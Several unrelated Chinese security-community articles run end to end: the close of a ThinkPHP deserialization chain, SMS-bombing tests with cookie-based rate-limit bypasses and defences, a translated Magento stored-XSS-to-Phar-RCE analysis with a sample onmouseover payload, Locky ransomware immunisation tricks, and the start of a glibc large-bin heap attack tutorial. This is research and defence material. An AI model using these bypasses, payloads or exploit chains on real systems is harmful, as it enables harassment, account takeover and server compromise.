这样，整个漏洞链就构造完了。下面举个例子，比如我们想执行 **system('id')** 代码，那么我们只要让传入的 **Request** 对象的
**$this- >filter='system'** 且 **$this- >param=array('id')** 即可。最终 **EXP**
如下（不同版本EXP不一样）：
* 5.1.16<=ThinkPHP版本<=5.1.37
* 5.1.14<=ThinkPHP版本<=5.1.15
* 5.1.3<=ThinkPHP版本<=5.1.13
PS：为了避免不必要的麻烦，已将原文中的 **EXP** 部分删除。
最后整理一下攻击链的流程图：
## 参考
[挖掘暗藏thinkphp中的反序列利用链](https://blog.riskivy.com/%e6%8c%96%e6%8e%98%e6%9a%97%e8%97%8fthinkphp%e4%b8%ad%e7%9a%84%e5%8f%8d%e5%ba%8f%e5%88%97%e5%88%a9%e7%94%a8%e9%93%be/) | 社区文章 |
最近做一些测试的时候遇到了挺多有意思短信轰炸的攻、防场景和思路，这里简单记录一下相关内容。
### 0x00 前期准备
在网站测试的过程中，常常在用户注册登录时出现手机号/邮箱注册，这里收集了较为流行的临时接收短信的网站，可用于测试。具体如下：
1. <https://www.pdflibr.com/>
2. <http://www.z-sms.com/>
3. <https://www.receive-sms-online.info/>
4. [随机推送] <https://yunduanxin.net/>
5. [国内] <http://www.smszk.com/>
6. [国外] <http://receive-sms-online.com/>
7. [国外] <https://smsnumbersonline.com/>
8. [国外] <https://www.freeonlinephone.org/>
9. [国外] <https://sms-online.co/receive-free-sms>
与此同时，写了个爬虫整理了上面涉及到的phone list，可作为黑名单进行反作弊建设：
<https://gist.github.com/fr4nk404/1d8317a5f66ebe0933b8fade897497ff>
### 0x01 常见问题
#### 1\. 简介
目前，商业网站的用户账号基本上是以手机号/邮箱注册登录，这样能够方便用户使用短信/邮箱验证码直接登入账户，在使用的过程中进行更好的账户管理。在以简易便捷为目的的基础上方便用户管理账号时也引入了安全风险，即短信炸弹/垃圾邮件等。
* 从企业的角度上看，短信的发送需要向运营商交付一些费用。尽管企业短信费用比个人用户低廉，但是一旦被恶意利用发送大量短信后，将会造成较大的直接经济、信息和名誉损失。
* 从用户的角度上看，大量垃圾短信的发送将会直接造成信息骚扰。而当大量网站被恶意利用者掌握时，针对指定号码的黑名单防护将失去效用，从而造成个人骚扰。
* 从攻击者的角度上看，可以将前期收集到包含该漏洞的网站集成到攻击工具中，对指定用户、企业域名邮箱用户进行短信轰炸、个人骚扰等。
* 从进一步漏洞利用角度看，可通过注册接口测试账号是否注册过，结合社工库可进行撞库等；若发送的信息内容在发送信息的请求包中，攻击者也可自定义发送内容，从而造成进一步的钓鱼利用等。
#### 2\. 一般功能
在应用手机号/邮箱和验证码作为用户登录凭证时，一般涉及到的网站功能点主要包括：
* 账号注册
* 首次设置密码时用户身份校验
* 账号登录(可选验证码方式)
* 重置密码
* 绑定手机/邮箱
* 修改绑定手机/邮箱
* 免费试用/活动领取/独特功能/反馈处
* 待补充...
### 0x02 短信/邮件轰炸
#### 1\. 一般测试方法
在网站账户注册处，填写手机号/邮箱。使用Burp抓包发送到Repeater进行重放测试，返回结果为发送成功。
尝试测试是否设有频控，一般测试10~20次。若持续可接收验证码，则证明漏洞存在。
#### 2\. 删除Cookie
最近做测试的时候还遇到某网站在注册功能，响应头Session中存放了一个token，用户在前端触发具体操作时会根据该token生成另一个key，提交时后端再根据token和key验证是否合法来拦截短信轰炸。在这种情况下，每次触发接收验证码时，只需提前将cookie删除，即可绕过拦截。
#### 3\. 修改Cookie
在做安全防御时，一些网站在注册请求Cookie中存放一个固定值，当前端发送请求时，该值唯一校验一次。因此可通过在该请求Cookie中添加简单的数字后缀进行绕过[3]；
#### 4\. 设计缺陷
另外，最近遇到的一个情况是在某办公协作系统域名下的不同子域中，如在 `www.A.com`
域名下进行账户注册，注册成功随即默认登录（该处服务端已做了手机号的频率控制）。而在该域名 `A.com` 的另一个子域名 `test.A.com`
下没有注册功能，用户可用在 `www.A.com` 域名下注册的账号进行首次登录，并设置密码。而此时，在 `test.A.com`
中进行首次登录时验证码登录未做频控。此处场景利用主要用于企业统一账号登录的多平台设计一致性。
#### 5\. 其他相关问题
在漏洞挖掘的过程中，手机/邮箱账号登录验证还涉及到了一些如越权、逻辑缺陷其他问题，此处结合轰炸问题一起分享出来。
* 修改绑定
在登入网站账户后，一般带有修改绑定等功能。正常流程修改绑定流程如图：
（1）由于逻辑设计缺陷，攻击者可在未接收到服务端验证码时修改 `服务端校验的返回包文为校验正确包文`(如图流程)，从而绕过原手机号验证，越权进行账号重绑定；
（2）按照正常流程发送请求包，将`提交新手机号并获取验证码过程`(如图流程)单独拿出。有些服务因逻辑缺陷，未在之前的流程中添加校验正确的token，导致该请求包可以在登入账号的情况下无需校验原手机号，只需从`发送提交新手机号验证码包文`处开始流程即可。
同时，有些服务由于在修改绑定处默认认为账号登录安全，因此未进行短信轰炸的防御，从而可以在此处`修改绑定` 位置进行短信轰炸。
### 0x03 轰炸防御
1. 服务端限制同一手机号单位时间内的发送次数和时间间隔，如超过限制则根据业务需求进行相应时间的禁止限制；
2. 根据业务特点，设定手机验证码每天的最大发送量；
3. 对每一步的请求验证严格，要以上一步的结果为依据，同时应注意尽量避免攻击者可控，如在请求参数中随机假如一个key，并贯穿验证的始终；
4. 绑定图形校验码，将手机验证码和图形校验码进行绑定，防止恶意攻击；
5. 服务端返回给用户的验证相关内容避免在请求中独立展示，减少攻击者可控点，降低钓鱼风险。
### 0x04 小结
在以上问题分析过程中，从攻、防角度双向分析了一些短信轰炸/垃圾邮件可能出现的思路，可供参考~
### 0x05 参考链接
1. <https://www.anquanke.com/post/id/93878>
2. <http://www.voidcn.com/article/p-fullylpc-brm.html>
3. <https://bbs.ichunqiu.com/thread-27614-1-1.html>
4. <https://www.4hou.com/mobile/16442.html>
5. <https://juejin.im/post/5994fbecf265da246e6de3f9> | 社区文章 |
文章来源：<https://blog.ripstech.com/2019/magento-rce-via-xss/>
* * *
### 0x01 前言
这篇文章我将向你展示如何结合HTML注入和Phar反序列化来攻破一个流行的电子商务管理系统，此漏洞存在于Magento **<
=2.3.1**。攻击者利用漏洞组合链可接管Magento商店并且重定向支付页面。
### 0x02 概述
攻击者可以往Magento商店的后端注入任意储存型JavaScript
Payload，一旦受害者接触到这些恶意代码，漏洞利用代码将会在受害者的浏览器后自动执行，并且可以反弹shell。漏洞演示：
<https://blog.ripstech.com/videos/magento-unauthenticated-stored-xss.mp4>
管理员登入到后端仪盘表后，注入的代码将自动运行并劫持管理员会话，然后利用后台的RCE漏洞接管整个服务器。攻击者可以破坏公司的财务运营，例如，重定向所有的支付到其银行账户或窃取客户的银行卡信息。
漏洞的利用需要结合 Authorize.Net
，一个专为Visa及其他信用卡网上定制的支付模块，并且它可以内置在Magento中。需要注意，Authorize.Net并不对漏洞负责，而是Magento。判别目标Magento站点是否使用Authorize.Net非常简单，并且可以使用自动化工具扫描。考虑到Authorize.Net的流行性，漏洞会影响到大量站点。
我们将漏洞链影响评级为 **高** ，因为攻击者无需很高明的技巧或者社交工程。Magento商店一年的成交额超过 **1550亿美元**
，攻击者可能会非常积极地开发利用该漏洞链。
### 0x03 影响
启用了Authorize.Net模块以及部分易受攻击的Magento版本：
分支 | 修补版本 | 可利用版本
---|---|---
2.3 | 2.3.2 | <= 2.3.1
2.2 | 2.2.9 | <= 2.2.8
2.1 | 2.1.18 | <= 2.1.17
### 0x04 漏洞分析
#### 0x04.1 储存型XSS
Magento有多种清理用户输入的方式。这里主要讲如何绕过`escapeHtmlWithLinks()`方法来造成储存型XSS。漏洞位置在取消产品订单的备注处。
在讨论所述方法之前，为了方便理解，先看看`escapeHTML()`函数，了解Magento的主要清理方法：
/**
* Escape string for HTML context.
*
* AllowedTags will not be escaped, except the following: script, img, embed,
* iframe, video, source, object, audio
*
* @param string|array $data
* @param array|null $allowedTags
* @return string|array
*/
public function escapeHtml($data, $allowedTags = null)
可以看到，`escapeHTML()`方法解析用户输入的`$data`，移除所有HTML标签，这里并没有指定第二个参数`$allowedTags`。如果用户不设置第二个参数，所有输入的字符都会被简单转义。该方法只允许在可用标签中设置一些简单的属性，例如`id`,`class`,`href`,`style`等等。
没什么可以针对`escapeHTML()`的好方法，接下来看看经`escapeHTML()`处理前的代码会发生什么，此时被修改的数据最可能出现漏洞。这里我发现了`escapeHtmlWithLinks()`方法。接下来我将介绍该方法的工作方式以及如何利用它造成XSS攻击。
`escapeHtmlWithLinks()`方法用于移除白名单外的HTML标签。和`escapeHTML()`不同，它会移除所有属性除了`<a>`标签的`<href>`，目的是做到极致安全
:)。
`escapeHtmlWithLinks()`把`<a>`标签和用户输入解析到一个数组(`$matches`)中，代码位置：vendor/magento/module-sales/Helper/Admin.php
public function escapeHtmlWithLinks($data, $allowedTags = null)
{
⋮
$data = str_replace('%', '%%', $data);
$regexp = "#(?J)<a"
."(?:(?:\s+(?:(?:href\s*=\s*(['\"])(?<link>.*?)\\1\s*)|(?:\S+\s*=\s*(['\"])(.*?)\\3)\s*)*)|>)"
.">?(?:(?:(?<text>.*?)(?:<\/a\s*>?|(?=<\w))|(?<text>.*)))#si";
while (preg_match($regexp, $data, $matches)) {
⋮
下一步代码会创建一个简易标签来清理链接文本和`href`属性中包含的URL 。
清理后的链接作为数组储存在`$links`数组，稍后还会用到。`escapeHtmlWithLinks()`会抛掉清理后的`<a>`标签，使用`%$is`代替用户输入的字符串，其中`$i`是数字代表`<a>`标签的编号。
⋮
while (preg_match($regexp, $data, $matches)) {
$text = '';
if (!empty($matches['text'])) {
$text = str_replace('%%', '%', $matches['text']);
}
$url = $this->filterUrl($matches['link'] ?? '');
//Recreate a minimalistic secure a tag
$links[] = sprintf(
'<a href="%s">%s</a>',
htmlspecialchars($url, ENT_QUOTES, 'UTF-8', false),
$this->escaper->escapeHtml($text)
);
$data = str_replace($matches[0], '%' . $i . '$s', $data);
++$i;
}
大致的方法就是这样，为了有更直观的体验，我举个例子：
`<i>Hello, <a href="/the-world/" title="Hello
World">World!</a></i>`将会变为`<i>Hello, %1s</i>`
`escapeHtmlWithLinks()`方法替换用户输入中的`<a>`为`%s`后，将结果传递给`escapeHTML()`。这安全地清理掉用户输入的有害字符。然而，代码会将清理结果return给`vspritf()`方法。
⋮
} // End of while
$data = $this->escaper->escapeHtml($data, $allowedTags);
return vsprintf($data, $links);
vsprintf — 返回格式化字符串
vsprintf ( string $format , array $args ) : string
这是XSS漏洞的根源，让我们来看看XSS Payload的处理过程。
步骤 | 用户输入字符串
---|---
从用户输入字符串解析`<a>`标签 | `<i id=" <a href='http://onmouseover=alert(/XSS/)'>a
link</a> "> a malicious link </i>`
将`<a>`标签替换为`%1s` | `<i id=" %1s "> a malicious link </i>`
清理其他额外的标签 | `<i id=" %1s "> a malicious link </i>`
把清理后的`<a>`插入到已清理的其他字符串中 | `<i id=" <a
href="http://onmouseover=alert(/XSS/)>">a link</a> "> a malicious link </i>`
从上表可以看出，`<a>`标签被替换为`%1s`然后清理用户输入的其他字符。因为`%1s`属于安全字符，它被标记为安全的。最后`escapeHtmlWithLinks()`方法末段的`vsprintf()`将清理后的Link重新插入回去，并且引入
**双引号** 从而触发注入的代码。
攻击者可以利用这点来注入任意代码到结果字符中。通过注入恶意`onmouseover`等事件句柄和`style`属性可以使链接不可见，只要受害者访问页面并移动鼠标，Payload就会触发。
`escapeHtmlWithLinks()`方法用于清理用户取消订单中输入的备注，订单经由`Authorize.Net`处理。上过上面的绕过措施，攻击者可以注入任意JavaScript代码到订单取消备注中，当卖家查看取消订单时，XSS
Payload就触发了。
#### 0x04.2 Phar反序列化
只要拿下管理员权限后，攻击者就可以滥用所见即所得（WYSIWYG）富文本编辑器中负责图片处理的控制器来执行[Phar
反序列化](https://blog.ripstech.com/2018/new-php-exploitation-technique/)。下面这段代码展示了POST参数`__directive`的内容如何传递给image Adapter
类的`open()`方法。该方法在内部将用户输入传递给函数`getimagesize()`，而这个函数易受Phar反序列化的影响。
public function execute()
{
$directive = $this->getRequest()->getParam('___directive');
$directive = $this->urlDecoder->decode($directive);
⋮
$image = $this->_objectManager->get(\Magento\Framework\Image\AdapterFactory::class)->create();
try {
$image->open($imagePath);
⋮
将`phar://`流包装器注入到图片处理程序中，触发[PHP反序列化](https://blog.ripstech.com/2018/php-object-injection/)，最终导致远程代码执行。
### 0x05 时间线
日期 |
---|---
2018/9/25 | 上报Magento 2.2.6中存在一个存储的XSS漏洞。
2018/11/28 | Magento推出补丁程序2.2.6和2.1.16
2018/12/13 | 报告了Magento 2.3.0中的绕过方法。
2019/1/11 | 向Magento安全团队报告了Phar反序列化漏洞。
2019/1/26 | 我们发现存储型XSS在具有特定配置的Magento上可被用户利用，并通知Magento。
2019/1/29 | Magento验证了存在漏洞。
2019/3/26 | Magento推出补丁程序2.3.1, 2.2.8和2.1.17。日志显示Phar反序列化漏洞已修复，未提到XSS漏洞。
2019/4/09 | Magento把XSS漏洞状态标记为“已解决”
2019/4/09 | 我们询问Magento是否已修复漏洞，因为更新日志没有提到它，并且没有修改`escapeHTMLWithLinks()`方法。
2019/4/10 | Magento重新标记漏洞状态。
2019/6/25 | Magento推出补丁程序 2.3.2, 2.2.9和2.1.18。
### 0x06 总结
本文介绍了储存型XSS和Phar反序列化漏洞，利用它们攻击者可以大规模攻击Magento站点。从漏洞分析可以看出，现今主要的安全漏洞的根源都是代码层面上多重清理，逻辑错误和配置缺陷造成的。建议所有用户立即到最新的Magento版本。 | 社区文章 |
# 【技术分享】从Locky新变种谈敲诈者木马的一些免疫技巧
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
****
**0x1 前言**
Locky敲诈者木马算是敲诈者木马中传播时间较长，变种较多的一款。在最近一段时间里，其变种Thor、Aesir开始频繁出现。这些Locky变种之间的核心加密功能代码几乎是相同的，只是改动了加密的后缀名，不过相比较老版本的Locky敲诈者，此类新变种在自我防御机制上有了较大改变，例如利用全局原子表代替注册表项存储标志字符串以应对对于相关注册表项的检测。不过即使填补了旧版Locky的坑，Locky新变种依然存在一些可以用来免疫的点，本文就旨在通过对Locky新变种的一些技术细节的分析来谈谈对此类木马的免疫手段。
**0x2 先看看Locky的新变化**
**1\. 感染方式的变化**
感染方式上其实不能称作变化，应该称之为扩展。早期的Locky一般通过邮件传播，恶意代码存在于邮件附件Word文档中，通过调用Word宏执行恶意代码。而Locky新变种的感染方式有所增加，除了Word宏执行恶意代码之外，也存在以JS脚本作为邮件附件进行感染的变种。除外，Locky新变种借助PowerShell或PowerShell+Rundll32组合执行恶意代码。下图展示的是一款Locky新变种使用的代码执行方式，其使用PowerShell启动恶意程序进程。
图1 使用PowerShell启动恶意程序进程
**2\. 标志字符串存储的变化**
老版本Locky敲诈者会访问一些相关的注册表项并将一些标志字符串存储在注册表中，例如HKCUSoftwareLocky注册表项。这些标志字符串用来判断该计算机中的文件是否已被加密，以及此次加密工作是否完成。此类方法最大的缺陷在于用户可以设置ACL阻止任何用户访问相关注册表项或者自定义一个相同的注册表项来“欺骗”敲诈者。
Locky新变种摈弃了注册表，转而使用全局原子表来存放相关的标志字符串。由于访问全局原子表并不需要打开操作，一般用户也不知道如何往全局原子表中添加全局原子来“欺骗”敲诈者，因此该方法相比较使用注册表存储标志字符串的方法更加有效。
图2 程序查询原子表相关字符串以判断计算机是否已被感染
**3\. 密钥和加密**
老版本Locky敲诈者从服务器获取RSA公钥，当然这么做并不能保证程序能正常获得RSA公钥。由于存放密钥的地址经常发生变更，可能用户感染敲诈者时该地址已失效，因此在服务器存放RSA公钥并不能保证每次都能加密成功。Locky新变种采用了和大部分敲诈者一样的方式，将RSA公钥硬编码到程序中，这就能保证成功加密文件。
在加密方式上，Locky新变种和老版本相同，使用微软提供的一系列API完成加密工作。
**0x3 再说说对Locky新变种的免疫手法**
**1\. 从Rundll32.exe入手**
正如上文提到的，Locky新变种在恶意代码的运行方式上相比较老版本复杂的多，主要也是从对抗杀软这方面考虑。在这些新变种中，使用最为广泛的当属Rundll32.exe运行恶意dll的方式。微软对于Rundll32.exe的使用做了限制，使用命令行调用Rundll32.exe时命令行必须满足以下格式。
而对于使用Rundll32.exe执行的导出函数，其必须参数必须满足如下要求。
但是查看Locky新变种释放的恶意Dll发现该Dll并无导出函数。
图3 IDA显示Dll无导出函数
其实这是恶意Dll使用的伎俩。由于Rundll32.exe执行Dll导出函数的流程是LoadLibraryExW—GetProcAddress—ExportFuntion，第一步LoadLibraryExW会导致Dllmain的执行，而恶意Dll在Dllmain中将自身的代码从内存中解除映射，并映射新的代码，新的代码中定义了导出函数，因此该恶意Dll就完成了导出函数从无到有的转变。
图4 完成代码重建后Dll“生”出了导出函数
使用这种方法构造了一种无导出函数的Dll调用导出函数的假象。也为分析造成了一些困扰。不过该恶意程序为了实现代码的重建也是付出了一定的代价，这也算是一个可以防御的点。
之所以说恶意程序付出了一定代价，是因为其使用了TLS（线程局部存储）技术，该技术解决了多线程中线程操作全局变量带来的冲突问题。下图展示了Dll的区段组成，可以很清楚地看到.tls段。
图5 Dll的区段中存在.tls段
对于WinXP而言，在程序执行主功能代码之前会初始化静态定义的线程局部变量，因此在程序执行主功能前已经分配一部分内存用于存储线程局部变量，如果程序运行中动态调用一个Dll（例如使用LoadLibary函数调用Dll），且该Dll中也静态定义了线程局部变量，由于存储线程局部变量的空间已经固定，将导致Dll的线程局部变量无法初始化，从而导致Dll调用失败。同理，Rundll32.exe在执行主功能代码之前已经初始化静态定义的线程局部变量，在执行过程中调用LoadLibraryExW函数加载恶意Dll。根据恶意Dll存在tls段可以确定该Dll静态定义了线程局部变量，这样就会导致LoadLibraryExW函数调用失败，Rundll32.exe弹出警告框如下所示。
图6 Rundll32弹出对话框
在Win7及以上版本的操作系统中，允许Dll静态定义线程局部变量，因此Rundll32.exe正常运行，而WinXP也就天然免疫了该变种的入侵——虽是无心插柳，但也可以算是一种免疫手段了吧。
**2\. 从系统语言入手**
对于Locky，Cerber，XTBL这类疑似俄产敲诈者而言，其最大的特点莫过于自动忽略俄语系国家，对于系统语言为俄语的国家不执行加密工作。因此如果能够让自身系统语言为俄语则可免除这一大系列敲诈者的攻击。当然，直接修改系统语言是不可取的，毕竟绝大部分中国人看不懂俄语，那如何利用系统语言防御诸如Locky这类俄系敲诈者呢，这就需要一些小技巧的辅助。
在Locky新变种中使用GetSystemDefaultLangID，GetUserDefaultLangID和GetUserDefaultUILanguage三个函数判断系统语言，这与老版本Locky敲诈者相同。
图7 Locky判断系统语言
从上图可以很明显的看出，程序对这三个函数的返回值与0x3ff相与后再进行判断，也就是说程序判断的其实是返回值低10位的数值。这三个函数的返回至类型为LANGID，其定义格式如下所示。
可以看出，低10位表示的是主语系，也就是说只要系统主语系为0x19（俄语）即不进行加密。而对于LANGID，其主语系和子语系都存在可供用户自定义的区域（主语系为0x200-0x3ff，子语系为0x20-0x3f）。因此可以自定义这样一种LANGID，其主语系为0x19（俄语），而自定义其子语系，并将该LANGID和中文相关资源（例如日历，语言，计数方式）绑定，这样就可以生成一种LANGID主语系为俄语的中文，可以称它为俄语（中国）。将其设为系统默认语言可以使GetSystemDefaultLangID和GetUserDefaultLangID返回值低10位为0x19，躲避敲诈者的感染。
当然，如果寻求更加方便的方法，可以使用NLS（National Language
Support）来进行当前区域的设定。NLS提供了一种Replacement
locale方法，可以在不改变LocaleID的情况下修改它所对应的语言，日历形式，计数形式等。NLS这么做旨在为使用语言和所处区域不同的人群提供一种兼容性的设置，现在可以利用它来防御敲诈者。由于LANGID是LocaleID的一部分，且Replacement
locale方法并不会修改旧的LocaleID，因此可以把俄罗斯的LocaleID和中国的相关设置绑定，让系统语言为中文，LANGID为0x19（俄语），从而免疫俄系敲诈者。
当然，如果还想更加方便，可以使用微软提供的工具Locale Builder，该工具可以自定义各种语言和区域搭配。
上述方法可以修改GetSystemDefaultLangID，GetUserDefaultLangID返回值，而对于GetUserDefaultUILanguage返回值的修改，可以使用MUI（Multilingual
User Interface）相关接口，MUI允许用户加载语言资源，相比较NLS更加灵活，在此不在赘述。
综上，从系统语言入手防御俄系敲诈者对于个人防御而言算是比较有效的一种方法，但可能会影响其他程序的稳定性，不过这不失为一种值得考虑的方式。
**3\. 从全局原子入手**
之前提到Locky新变种通过查找全局原子表中指定名称的全局原子确定该计算机是否已被感染。如果事先往全局原子表中添加名称相同的全局原子就可让敲诈者误以为该计算机已经被感染过从而放弃加密。添加全局原子使用的函数时GlobalAddAtom。不过该种方法实用性不高，因为需要事先知道敲诈者使用的全局原子名称，而每一个新变种使用的全局原子名称各不相同，这将防不胜防。
图8 程序完成加密后往全局原子表添加原子作为标志
**4\. 从磁盘入手**
Locky敲诈者在加密文件之前会对磁盘进行遍历，其遍历方式是通过硬编码在程序中的盘符来作为遍历的盘符，从A盘遍历到Z盘，如下图所示。
图9 程序遍历磁盘
由于程序通过盘符遍历磁盘，因此可以创建一个无盘符的磁盘或者删除相关磁盘的盘符，该磁盘可用于存储重要文档，数据，使用时再为其分配盘符便可正常访问。这样敲诈者木马在遍历磁盘的时候不会遍历到该无盘符磁盘，这也可以保证该磁盘中的文件不会被敲诈者木马加密。除此之外程序忽略了具有FILE_READ_ONLY_VOLUME属性的盘符，因此也可以为盘符设置相应属性躲避敲诈者的加密。
**5\. 顺道聊聊XTBL敲诈者**
Locky敲诈者能完成诸多功能的一个主要原因在于其拥有较高权限。由于Locky敲诈者的执行大多来自于Word宏的加载，其父进程为Word进程，这很容易让其进程链以管理员权限运行。而另一类利用JS脚本作为邮件附件感染系统的变种也可能因为用户忽略其安全性允许其运行而具有管理员权限。高权限也为程序的一系列行为“铺路”。
不过另一款敲诈者XTBL敲诈者就遇到了一些权限难题。在其进行加密操作之前会对当前进程所处环境进行判断，如果不是以管理员权限运行该程序则会通过Runas来提升权限。如下图所示。
图10 XTBL使用Runas提权
这项操作存在一个缺陷，就是无论在WinXP还是WinXP以上系统都会弹出提示框。由于XTBL敲诈者主要是针对服务器，而且一般通过入侵服务器植入恶意程序，因此入侵者可以手动解决这个问题。但假如个人计算机感染了XTBL敲诈者，那么弹窗就将使该程序变得更加可疑。由于在提权操作之前程序执行代码重组和密钥生成的操作，这些操作需要一定的时间，这也使弹窗的时间点更加可疑。而该提权代码无限循环执行提权操作，因此用户只有允许其以管理员权限运行才能关掉提示框，这也是个比较可疑的地方。因此用户可以结合这几个可疑的点来警惕XTBL敲诈者的侵袭。
**0x4 总结**
以上分享了一些利用Locky新变种的固有缺陷或者考虑不周的特性来免疫它的攻击的方法，对于个人用户而言虽具有一定效果和加之，但想更全面的抵御各类木马的侵袭，依然需要安全软件的防护。
安全意识的提高、安全习惯的养成、安全软件的防护，只有这三方面共同的协作，才能真正有效而全面的保障大家的安全。三者缺一不可，切不能掉以轻心。 | 社区文章 |
### large bin
大于512（1024）字节的chunk称之为large chunk，large bin就是用于管理这些large chunk的
Large bins 中一共包括 63 个 bin，index为64~126，每个 bin 中的 chunk 的大小不一致，而是处于一定区间范围内
largebin 的结构和其他链表都不相同，更加复杂
largebin里除了有fd、bk指针，另外还有fd_nextsize 和 bk_nextsize 这两个指针
而且largebin的插入顺序不再是LIFO或FILO，而是一种全新的方式，我们来测试一下
我们先malloc六个堆块，实际大小为0x400，0x410，0x420，0x430，然后我们依次free可以得到下面这幅图
借用V师傅的总结（相同index下）
* 按照大小从大到小排序
* 若大小相同,按照free时间排序
* 若干个大小相同的堆块,只有首堆块的`fd_nextsize`和`bk_nextsize`会指向其他堆块,后面的堆块的`fd_nextsize`和`bk_nextsize`均为0
* size最大的chunk的`bk_nextsize`指向最小的chunk; size最小的chunk的`fd_nextsize`指向最大的chunk
下面我们看下与large bin有关的具体代码:
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
在循环的每次迭代中，将检索当前unsorted bin的最后一个chunk。如果unsorted bin中没有更多可用的chunk，则循环将结束
将按以下步骤处理检索到的chunk
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
如果堆块是unsorted bin中的最后一个chunk，检索到的chunk的大小适合所请求的chunk，检索到的块是last
remainder并且请求的字节小于 _MIN_LARGE_SIZE_
，，检索到的chunk将被分割成所请求大小的chunk和剩余chunk。请求大小的chunk将返回给用户，剩余的chunk将再次插入unsorted
bin中
if (size == nb)
如果被free的堆块的大小等于请求的大小，则直接返回块
if (in_smallbin_range (size))
如果被free的堆块的大小在small bin的范围内，则获取相应的small bin的index，并将块插入small bin
如果以上条件都不满足，则认为其在large bin大小范围，进入chunk插入large bin的步骤
if (fwd != bck)
{
~~~~~~~~~~~~
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
首先判断large bin是否为空，为空的话，直接将 chunk 的 fd_nextsize bk_nextsize 设置为自身
不为空则进行下一步
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
如果被free的堆块的大小小于large bin中最后一个块的大小，我们将被free的堆块作为最后一个块插入large bin中
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
否则，我们从链表头部开始遍历，直到找到第一个 size 大于等于待插入 chunk 的链表，找到后判断链表的 size
是否等于待插入chunk的size，如果相等，直接将这个 chunk 插入到当前链表的第二个位置，如果不相等，说明待插入的chunk比当前链表头结点的
size 大，那么我们将待插入的chunk作为当前链表的头结点，插入到符合size的bin index后
### how2heap large_bin_attack
#include<stdio.h>
#include<stdlib.h>
int main()
{
fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see glibc_build.sh for build instructions.\n");
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);
